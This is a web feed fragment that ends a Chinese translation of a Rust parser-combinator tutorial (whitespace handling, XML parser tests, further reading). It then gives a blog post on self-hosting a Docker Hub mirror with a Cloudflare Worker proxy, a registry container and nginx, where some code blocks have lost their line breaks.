&lt;p&gt;我们在生成的解析器上 &lt;code&gt;map&lt;&#x2F;code&gt;的内部闭包具有对外部闭包中的 &lt;code&gt;Element&lt;&#x2F;code&gt;（&lt;code&gt;el&lt;&#x2F;code&gt;）的引用。我们必须使用 &lt;code&gt;clone()&lt;&#x2F;code&gt; ，因为一个 &lt;code&gt;Fn&lt;&#x2F;code&gt; 中，只有对它的引用。我们获取内部解析器的结果（我们的 &lt;code&gt;Vec&amp;lt;Element&amp;gt;&lt;&#x2F;code&gt; 子元素）并将其添加到我们克隆的 &lt;code&gt;Element&lt;&#x2F;code&gt; 中，然后将其作为最终结果返回。&lt;&#x2F;p&gt;
&lt;p&gt;我们现在需要做的就是返回到我们的 &lt;code&gt;element&lt;&#x2F;code&gt; 解析器并确保我们将 &lt;code&gt;open_element&lt;&#x2F;code&gt; 更改为 &lt;code&gt;parent_element&lt;&#x2F;code&gt;，这样它就会解析整个元素结构，而不是只是它的开头，我相信我们已经完成了！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;word-or-do-i-have-to&quot;&gt;Word Or Do I Have To?&lt;&#x2F;h2&gt;
&lt;p&gt;还记得我们讨论过 &lt;code&gt;map&lt;&#x2F;code&gt; 模式如何在 Planet Haskell 上被称为“函子”吗？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;and_then&lt;&#x2F;code&gt; 模式是你在 Rust 中经常看到的另一种模式，通常与 &lt;code&gt;map&lt;&#x2F;code&gt; 位于相同的位置。它在 &lt;code&gt;Iterator&amp;lt;Item = char&amp;gt;&lt;&#x2F;code&gt; 上被称为 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;iter&#x2F;trait.Iterator.html#method.flat_map&quot;&gt;&lt;code&gt;flat\_map&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;，但它的模式与其他模式相同。&lt;&#x2F;p&gt;
&lt;p&gt;它的花名是&lt;code&gt;monad&lt;&#x2F;code&gt;。如果你有一个东西 &lt;code&gt;Thing&amp;lt;A&amp;gt;&lt;&#x2F;code&gt;，并且你有一个可用的 &lt;code&gt;and_then&lt;&#x2F;code&gt; 函数，它可以将一个函数从 &lt;code&gt;A&lt;&#x2F;code&gt; 传递给 &lt;code&gt;Thing&amp;lt;A&amp;gt;&lt;&#x2F;code&gt;，这样现在你就有了一个新的 &lt;code&gt;Thing&amp;lt;A&amp;gt;&lt;&#x2F;code&gt; 来替代原来的，这就是一个 monad。&lt;&#x2F;p&gt;
&lt;p&gt;该函数可能会立即被调用，比如当你有一个 &lt;code&gt;Option&amp;lt;char&amp;gt;&lt;&#x2F;code&gt; 时，我们已经知道它是一个 &lt;code&gt;Some(A)&lt;&#x2F;code&gt; 还是一个 &lt;code&gt;None&lt;&#x2F;code&gt;，我们直接应用该函数，如果它是一个 &lt;code&gt;Some(A)&lt;&#x2F;code&gt;，那么就会给我们一个&lt;code&gt;Some(B)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;它也可能被称为 &lt;code&gt;惰性 (lazy)&lt;&#x2F;code&gt;。例如，如果有一个仍在等待解析的 &lt;code&gt;Future&amp;lt;A&amp;gt;&lt;&#x2F;code&gt;，它不会立即调用该函数来创建一个 &lt;code&gt;Future&amp;lt;A&amp;gt;&lt;&#x2F;code&gt;，而是创建一个新的 &lt;code&gt;Future&amp;lt;A&amp;gt;&lt;&#x2F;code&gt;它包含 &lt;code&gt;Future&amp;lt;A&amp;gt;&lt;&#x2F;code&gt; 和函数，然后等待 &lt;code&gt;Future&amp;lt;A&amp;gt;&lt;&#x2F;code&gt; 完成。当它这样做时，它会使用 &lt;code&gt;Future&amp;lt;A&amp;gt;&lt;&#x2F;code&gt; 的结果调用函数，这样就搞定了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bodil.lol&#x2F;parser-combinators&#x2F;#footnote_1&quot;&gt;1&lt;&#x2F;a&gt;(He isn&#x27;t really your uncle.)，得到你的 &lt;code&gt;Future&amp;lt; B&amp;gt;&lt;&#x2F;code&gt; 。换句话说，在&lt;code&gt;Future&amp;lt;A&amp;gt;&lt;&#x2F;code&gt; 的情况下，可以将传递给&lt;code&gt;and_then&lt;&#x2F;code&gt; 的函数视为&lt;em&gt;回调函数&lt;&#x2F;em&gt;，因为它会在完成时使用原始 future 的结果进行调用。它还比这更有趣，因为它返回一个 &lt;em&gt;new&lt;&#x2F;em&gt; &lt;code&gt;Future&amp;lt;A&amp;gt;&lt;&#x2F;code&gt;，它可能已经或可能没有被解决，所以它是一种将 future 连在一起的方法。&lt;&#x2F;p&gt;
&lt;p&gt;然而，与函子一样，Rust 的类型系统目前不能表达 &lt;code&gt;monad&lt;&#x2F;code&gt;，所以让我们只需注意这种模式被称为 &lt;code&gt;monad&lt;&#x2F;code&gt;，而且令人失望的是，这和网上的搜到的意思并不一样，它与墨西哥卷饼毫无关系。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;whitespace-redux&quot;&gt;Whitespace, Redux&lt;&#x2F;h2&gt;
&lt;p&gt;只有最后一件事。&lt;&#x2F;p&gt;
&lt;p&gt;我们现在应该有一个能够解析一些 XML 的解析器，但是他并不能很好的接受空格。 标签之间应该允许任意空格，这样我们就可以自由地在标签之间插入换行符等（原则上，标识符和文字之间应该允许空格，比如&lt;code&gt;&amp;lt; div &#x2F;&amp;gt;&lt;&#x2F;code&gt;，但这里跳过它）。 在这一点上，我们应该能够毫不费力地为此组合一个快速组合子。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn whitespace_wrap&amp;lt;&amp;#x27;a, P, A&amp;gt;(parser: P) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, A&amp;gt;
where
    P: Parser&amp;lt;&amp;#x27;a, A&amp;gt;,
{
    right(space0(), left(parser, space0()))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果我们将 &lt;code&gt;element&lt;&#x2F;code&gt; 包裹在里面，它将忽略 &lt;code&gt;element&lt;&#x2F;code&gt; 周围的所有前面和后面空格，这意味着我们可以随意使用尽可能多的换行符和尽可能多的缩进。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn element&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Element&amp;gt; {
    whitespace_wrap(either(single_element(), parent_element()))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;we-re-finally-there&quot;&gt;We&#x27;re Finally There!&lt;&#x2F;h2&gt;
&lt;p&gt;我想我们终于做到了！ 让我们写个测试庆祝一下！&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn xml_parser() {
    let doc = r#&amp;quot;
        &amp;lt;top label=&amp;quot;Top&amp;quot;&amp;gt;
            &amp;lt;semi-bottom label=&amp;quot;Bottom&amp;quot;&amp;#x2F;&amp;gt;
            &amp;lt;middle&amp;gt;
                &amp;lt;bottom label=&amp;quot;Another bottom&amp;quot;&amp;#x2F;&amp;gt;
            &amp;lt;&amp;#x2F;middle&amp;gt;
        &amp;lt;&amp;#x2F;top&amp;gt;&amp;quot;#;
    let parsed_doc = Element {
        name: &amp;quot;top&amp;quot;.to_string(),
        attributes: vec![(&amp;quot;label&amp;quot;.to_string(), &amp;quot;Top&amp;quot;.to_string())],
        children: vec![
            Element {
                name: &amp;quot;semi-bottom&amp;quot;.to_string(),
                attributes: vec![(&amp;quot;label&amp;quot;.to_string(), &amp;quot;Bottom&amp;quot;.to_string())],
                children: vec![],
            },
            Element {
                name: &amp;quot;middle&amp;quot;.to_string(),
                attributes: vec![],
                children: vec![Element {
                    name: &amp;quot;bottom&amp;quot;.to_string(),
                    attributes: vec![(&amp;quot;label&amp;quot;.to_string(), &amp;quot;Another bottom&amp;quot;.to_string())],
                    children: vec![],
                }],
            },
        ],
    };
    assert_eq!(Ok((&amp;quot;&amp;quot;, parsed_doc)), element().parse(doc));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面这个测试会因为有未闭合 tag 而解析失败：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn mismatched_closing_tag() {
    let doc = r#&amp;quot;
        &amp;lt;top&amp;gt;
            &amp;lt;bottom&amp;#x2F;&amp;gt;
        &amp;lt;&amp;#x2F;middle&amp;gt;&amp;quot;#;
    assert_eq!(Err(&amp;quot;&amp;lt;&amp;#x2F;middle&amp;gt;&amp;quot;), element().parse(doc));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;好消息是它返回不匹配的结束标记作为错误。 坏消息是它实际上并没有&lt;em&gt;说&lt;&#x2F;em&gt;问题是不匹配的结束标签，只是&lt;em&gt;错误在哪里&lt;&#x2F;em&gt;。 总比没有好，但是，老实说，随着错误消息的出现，它仍然很糟糕。 但是想让它能成功的找到错至少得再写一篇同样长的文章。&lt;&#x2F;p&gt;
&lt;p&gt;让我们关注好消息：我们使用解析器组合子从头开始编写了一个解析器！ 我们知道解析器既构成函子又构成单子，因此你现在可以在令人生畏的范畴论知识聚会上给人们留下深刻印象了&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bodil.lol&#x2F;parser-combinators&#x2F;#footnote_2&quot;&gt;2&lt;&#x2F;a&gt;。（Please don&#x27;t be that person at parties. 别真的这么干）&lt;&#x2F;p&gt;
&lt;p&gt;最重要的是，我们现在知道解析器组合子是如何从头开始工作的。 现在没有人能阻止我们！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;further-resources&quot;&gt;Further Resources&lt;&#x2F;h2&gt;
&lt;p&gt;首先，我对用严格的 &lt;code&gt;rust&lt;&#x2F;code&gt;术语 向你解释 monad 感到内疚，而且我知道如果我不向你指出 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;homepages.com&#x2F;&quot;&gt;他的开创性论文&lt;&#x2F;a&gt;，Phil Wadler 会对我非常不满。 其中详细介绍了更多令人兴奋的细节——包括它们与解析器组合子的关系。&lt;&#x2F;p&gt;
&lt;p&gt;本文中的想法与 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;crates.io&#x2F;crates&#x2F;pom&quot;&gt;&lt;code&gt;pom&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; 解析器组合子库背后的想法极为相似，如果这让你想在同一个解析器组合子中使用风格，我强烈推荐它。&lt;&#x2F;p&gt;
&lt;p&gt;Rust 解析器组合子的最新技术仍然是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;crates.io&#x2F;crates&#x2F;nom&quot;&gt;&lt;code&gt;nom&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;，以至于前面提到的 &lt;code&gt;pom&lt;&#x2F;code&gt; 显然是派生的名称（而且没有比这更好的称赞了），但它采用了与我们今天在这里构建的方法截然不同的方法。&lt;&#x2F;p&gt;
&lt;p&gt;另一个流行的 Rust 解析器组合库是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;crates.io&#x2F;crates&#x2F;combine&quot;&gt;&lt;code&gt;combine&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;，它可能也值得一看。&lt;&#x2F;p&gt;
&lt;p&gt;Haskell 的开创性解析器组合库是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;hackage.haskell.org&#x2F;package&#x2F;parsec&quot;&gt;Parsec&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;最后，我对解析器组合子的第一次认识归功于 Graham Hutton 所著的 &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.cs.nott.ac.uk&#x2F;~pszgmh&#x2F;pih.html&quot;&gt;Programming in Haskell&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;，这是一本很棒的书，不仅容易读而且还会教给你 Haskell 的积极副作用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;licence&quot;&gt;Licence&lt;&#x2F;h2&gt;
&lt;p&gt;This work by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bodil.lol&#x2F;&quot;&gt;Bodil Stokke&lt;&#x2F;a&gt; is licensed under a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;creativecommons.org&#x2F;licenses&#x2F;by-nc-sa&#x2F;4.0&#x2F;&quot;&gt;Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;本文由 Bodil Stokke 撰写，基于署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)协议。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>自建Docker 镜像源加速的方法</title>
        <published>2024-11-23T00:00:00+00:00</published>
        <updated>2024-11-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/自建docker-镜像源加速的方法/"/>
        <id>https://vercel.juzhong.asia/obsidian/自建docker-镜像源加速的方法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/自建docker-镜像源加速的方法/">&lt;h2 id=&quot;yi-jian-jie&quot;&gt;一、简介&lt;&#x2F;h2&gt;
&lt;p&gt;今天（2024年6月7日），GFW正式DNS污染+SNI阻断了docker.com及其相关域名。从国内解析得到的IP地址为Twitter&#x2F;Facebook的IP，符合大墙DNS污染的特征。而如果使用海外解析得到的正常IP地址从国内访问则会被SNI重置阻断链接。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;selfhost-docker-mirror&#x2F;docker-hub-dns-pollution.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;与此同时，上交镜像站等一系列中国大陆公益镜像站点也“接上级主管部门通知，暂时关闭 Docker Hub 镜像缓存服务”。（通知链接 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mirrors.ustc.edu.cn&#x2F;help&#x2F;dockerhub.html&quot;&gt;1&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sjtug.org&#x2F;post&#x2F;mirror-news&#x2F;2024-06-06-takedown-dockerhub&#x2F;&quot;&gt;2&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;更新：南京大学、中科大、上海交大 目前明确停止docker镜像
网易之前死了
腾讯微软据说内网可用
阿里登陆后就可以拿到子域名
百度好像也挂了
dockerproxy被墙&lt;&#x2F;p&gt;
&lt;p&gt;不得不说这对中国docker用户是一个重大打击，因此学会自建一个Docker镜像变得十分重要。本文主要介绍两种方法：1.利用Cloudflare workers搭建 2.服务器自建。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-li-yong-cloudflare-workerda-jian&quot;&gt;二、利用Cloudflare Worker搭建&lt;&#x2F;h2&gt;
&lt;p&gt;搭建完成后的使用方法：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;awk&quot; class=&quot;language-awk &quot;&gt;&lt;code class=&quot;language-awk&quot; data-lang=&quot;awk&quot;&gt;docker pull xxxxx.com&amp;#x2F;mysql&amp;#x2F;mysql-server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;点击Cloudflare，创建一个新项目，然后将如下代码复制进去即可。创建完成后可以选择绑定自己的域名使用。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&amp;#x27;use strict&amp;#x27;const hub_host = &amp;#x27;registry-1.docker.io&amp;#x27;const auth_url = &amp;#x27;https:&amp;#x2F;&amp;#x2F;auth.docker.io&amp;#x27;const workers_url = &amp;#x27;https:&amp;#x2F;&amp;#x2F;你的域名&amp;#x27;&amp;#x2F;** * static files (404.html, sw.js, conf.js) *&amp;#x2F;&amp;#x2F;** @type {RequestInit} *&amp;#x2F;const PREFLIGHT_INIT = {    status: 204,    headers: new Headers({        &amp;#x27;access-control-allow-origin&amp;#x27;: &amp;#x27;*&amp;#x27;,        &amp;#x27;access-control-allow-methods&amp;#x27;: &amp;#x27;GET,POST,PUT,PATCH,TRACE,DELETE,HEAD,OPTIONS&amp;#x27;,        &amp;#x27;access-control-max-age&amp;#x27;: &amp;#x27;1728000&amp;#x27;,    }),}&amp;#x2F;** * @param {any} body * @param {number} status * @param {Object} headers *&amp;#x2F;function makeRes(body, status = 200, headers = {}) {    headers[&amp;#x27;access-control-allow-origin&amp;#x27;] = &amp;#x27;*&amp;#x27;    return new Response(body, {status, headers})}&amp;#x2F;** * @param {string} urlStr *&amp;#x2F;function newUrl(urlStr) {    try {        return new URL(urlStr)    } catch (err) {        return null    }}addEventListener(&amp;#x27;fetch&amp;#x27;, e =&amp;gt; {    const ret = fetchHandler(e)        .catch(err =&amp;gt; makeRes(&amp;#x27;cfworker error:\n&amp;#x27; + err.stack, 502))    e.respondWith(ret)})&amp;#x2F;** * @param {FetchEvent} e *&amp;#x2F;async function fetchHandler(e) {  const getReqHeader = (key) =&amp;gt; e.request.headers.get(key);  let url = new URL(e.request.url);  if (url.pathname === &amp;#x27;&amp;#x2F;token&amp;#x27;) {      let token_parameter = {        headers: {        &amp;#x27;Host&amp;#x27;: &amp;#x27;auth.docker.io&amp;#x27;,        &amp;#x27;User-Agent&amp;#x27;: getReqHeader(&amp;quot;User-Agent&amp;quot;),        &amp;#x27;Accept&amp;#x27;: getReqHeader(&amp;quot;Accept&amp;quot;),        &amp;#x27;Accept-Language&amp;#x27;: getReqHeader(&amp;quot;Accept-Language&amp;quot;),        &amp;#x27;Accept-Encoding&amp;#x27;: getReqHeader(&amp;quot;Accept-Encoding&amp;quot;),        &amp;#x27;Connection&amp;#x27;: &amp;#x27;keep-alive&amp;#x27;,        &amp;#x27;Cache-Control&amp;#x27;: &amp;#x27;max-age=0&amp;#x27;        }      };      let token_url = auth_url + url.pathname + url.search      return fetch(new Request(token_url, e.request), token_parameter)  }  url.hostname = hub_host;  let parameter = {    headers: {      &amp;#x27;Host&amp;#x27;: hub_host,      &amp;#x27;User-Agent&amp;#x27;: getReqHeader(&amp;quot;User-Agent&amp;quot;),      &amp;#x27;Accept&amp;#x27;: getReqHeader(&amp;quot;Accept&amp;quot;),      &amp;#x27;Accept-Language&amp;#x27;: getReqHeader(&amp;quot;Accept-Language&amp;quot;),      &amp;#x27;Accept-Encoding&amp;#x27;: getReqHeader(&amp;quot;Accept-Encoding&amp;quot;),      &amp;#x27;Connection&amp;#x27;: &amp;#x27;keep-alive&amp;#x27;,      &amp;#x27;Cache-Control&amp;#x27;: &amp;#x27;max-age=0&amp;#x27;    },    cacheTtl: 3600  };  if (e.request.headers.has(&amp;quot;Authorization&amp;quot;)) {    parameter.headers.Authorization = getReqHeader(&amp;quot;Authorization&amp;quot;);  }  let original_response = await fetch(new Request(url, e.request), parameter)  let original_response_clone = original_response.clone();  let original_text = original_response_clone.body;  let response_headers = original_response.headers;  let new_response_headers = new Headers(response_headers);  let status = original_response.status;  if (new_response_headers.get(&amp;quot;Www-Authenticate&amp;quot;)) {    let auth = new_response_headers.get(&amp;quot;Www-Authenticate&amp;quot;);    let re = new RegExp(auth_url, &amp;#x27;g&amp;#x27;);    new_response_headers.set(&amp;quot;Www-Authenticate&amp;quot;, response_headers.get(&amp;quot;Www-Authenticate&amp;quot;).replace(re, workers_url));  }  if (new_response_headers.get(&amp;quot;Location&amp;quot;)) {    return httpHandler(e.request, new_response_headers.get(&amp;quot;Location&amp;quot;))  }  let response = new Response(original_text, {            status,            headers: new_response_headers        })  return response;}&amp;#x2F;** * @param {Request} req * @param {string} pathname *&amp;#x2F;function httpHandler(req, pathname) {    const reqHdrRaw = req.headers    &amp;#x2F;&amp;#x2F; preflight    if (req.method === &amp;#x27;OPTIONS&amp;#x27; &amp;amp;&amp;amp;        reqHdrRaw.has(&amp;#x27;access-control-request-headers&amp;#x27;)    ) {        return new Response(null, PREFLIGHT_INIT)    }    let rawLen = &amp;#x27;&amp;#x27;    const reqHdrNew = new Headers(reqHdrRaw)    const refer = reqHdrNew.get(&amp;#x27;referer&amp;#x27;)    let urlStr = pathname    const urlObj = newUrl(urlStr)    &amp;#x2F;** @type {RequestInit} *&amp;#x2F;    const reqInit = {        method: req.method,        headers: reqHdrNew,        redirect: &amp;#x27;follow&amp;#x27;,        body: req.body    }    return proxy(urlObj, reqInit, rawLen, 0)}&amp;#x2F;** * * @param {URL} urlObj * @param {RequestInit} reqInit *&amp;#x2F;async function proxy(urlObj, reqInit, rawLen) {    const res = await fetch(urlObj.href, reqInit)    const resHdrOld = res.headers    const resHdrNew = new Headers(resHdrOld)    &amp;#x2F;&amp;#x2F; verify    if (rawLen) {        const newLen = resHdrOld.get(&amp;#x27;content-length&amp;#x27;) || &amp;#x27;&amp;#x27;        const badLen = (rawLen !== newLen)        if (badLen) {            return makeRes(res.body, 400, {                &amp;#x27;--error&amp;#x27;: `bad len: ${newLen}, except: ${rawLen}`,                &amp;#x27;access-control-expose-headers&amp;#x27;: &amp;#x27;--error&amp;#x27;,            })        }    }    const status = res.status    resHdrNew.set(&amp;#x27;access-control-expose-headers&amp;#x27;, &amp;#x27;*&amp;#x27;)    resHdrNew.set(&amp;#x27;access-control-allow-origin&amp;#x27;, &amp;#x27;*&amp;#x27;)    resHdrNew.set(&amp;#x27;Cache-Control&amp;#x27;, &amp;#x27;max-age=1500&amp;#x27;)    resHdrNew.delete(&amp;#x27;content-security-policy&amp;#x27;)    resHdrNew.delete(&amp;#x27;content-security-policy-report-only&amp;#x27;)    resHdrNew.delete(&amp;#x27;clear-site-data&amp;#x27;)    return new Response(res.body, {        status,        headers: resHdrNew    })}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;san-shi-yong-fu-wu-qi-zi-jian-reigistry&quot;&gt;三、使用服务器自建（&lt;strong&gt;reigistry）&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;由于Cloudflare在中国大陆的互联性并不是非常理想，所以在有中国优化线路的服务器上搭建一个加速服务可能对大多数人来说才是最优解。&lt;&#x2F;p&gt;
&lt;p&gt;本文介绍&lt;strong&gt;reigistry&lt;&#x2F;strong&gt;方式&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;利用reigistry搭建&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先创建一个docker-compose文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;vi registry&amp;#x2F;docker-compose.yml
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后粘贴如下内容&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;dts&quot; class=&quot;language-dts &quot;&gt;&lt;code class=&quot;language-dts&quot; data-lang=&quot;dts&quot;&gt;#version: &amp;#x27;3&amp;#x27; #最新版本docker 不在需要此字段services:  registry:    image: registry:2    ports:      - &amp;quot;15000:5000&amp;quot;    environment:      REGISTRY_PROXY_REMOTEURL: https:&amp;#x2F;&amp;#x2F;registry-1.docker.io  # 上游源      REGISTRY_STORAGE_CACHE_BLOBDESCRIPTOR: inmemory # 内存缓存    volumes:      - .&amp;#x2F;data:&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;registry
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;需要注意的是如果仅仅作为镜像源，需要把push功能ban掉，推荐使用nginx反代的时候禁止其他http method&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nginx&quot; class=&quot;language-nginx &quot;&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;# 端口, 域名 都改为自己的server {    listen 80;    server_name my-registry-domain.com;    location &amp;#x2F; {        # 仅允许 GET 请求        limit_except GET {            deny all;        }        proxy_pass http:&amp;#x2F;&amp;#x2F;localhost:5000;  # 假设 Docker Registry 运行在本地的 5000 端口        proxy_set_header Host $host;        proxy_set_header X-Real-IP $remote_addr;        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;        proxy_set_header X-Forwarded-Proto $scheme;    }}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;done！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;si-shi-yong-fu-wu-qi-zi-jian-you-hua-ban-tui-jian&quot;&gt;四、使用服务器自建（优化版，推荐）&lt;&#x2F;h2&gt;
&lt;p&gt;可以参考这个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;brighill&#x2F;registry-mirror&quot;&gt;Github项目&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-shou-xian-an-zhuang-docker-xia-zai-ben-xiang-mu&quot;&gt;1.首先安装Docker，下载本项目&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;dsconfig&quot; class=&quot;language-dsconfig &quot;&gt;&lt;code class=&quot;language-dsconfig&quot; data-lang=&quot;dsconfig&quot;&gt;git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;brighill&amp;#x2F;registry-mirror.gitcd registry-mirror.&amp;#x2F;get-docker.sh --mirror Aliyun
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-zai-fu-wu-qi-shang-sheng-cheng-zheng-shu&quot;&gt;2.在服务器上生成证书&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;.&amp;#x2F;gencert.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;3-qi-dong-fu-wu-duan&quot;&gt;3.启动服务端&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;clean&quot; class=&quot;language-clean &quot;&gt;&lt;code class=&quot;language-clean&quot; data-lang=&quot;clean&quot;&gt;# 如果在无法访问gcr.io的机器上启动服务则需要增加代理# export PROXY=ip:portdocker compose up -d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;1-xiu-gai-etc-hostsjiang-yu-ming-jie-xi-jie-chi-dao-zi-ji-de-ip-ru-guo-you-zi-jian-dnsfu-wu-ye-ke-yi-gai-dnspei-zhi&quot;&gt;1.修改&#x2F;etc&#x2F;hosts将域名解析劫持到自己的IP(如果有自建DNS服务也可以改DNS配置)&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;stylus&quot; class=&quot;language-stylus &quot;&gt;&lt;code class=&quot;language-stylus&quot; data-lang=&quot;stylus&quot;&gt;vim &amp;#x2F;etc&amp;#x2F;hosts xxx.xxx.xxx.xxx gcr.io quay.io docker.io registry-1.docker.io nvcr.io registry.k8s.io custom.local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-xin-ren-zheng-shu&quot;&gt;2.信任证书&lt;&#x2F;h4&gt;
&lt;p&gt;首先把你服务端生成的证书文件夹&#x2F;cert复制到客户端&lt;&#x2F;p&gt;
&lt;p&gt;不同客户端信任证书流程如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;pgsql&quot; class=&quot;language-pgsql &quot;&gt;&lt;code class=&quot;language-pgsql&quot; data-lang=&quot;pgsql&quot;&gt;# macOSsudo security add-trusted-cert -d -r trustRoot -k &amp;#x2F;Library&amp;#x2F;Keychains&amp;#x2F;System.keychain cert&amp;#x2F;ca.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Debian&amp;#x2F;Ubuntusudo apt install ca-certificatessudo cp cert&amp;#x2F;ca.crt &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;share&amp;#x2F;ca-certificates&amp;#x2F;ca.crtsudo update-ca-certificates
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
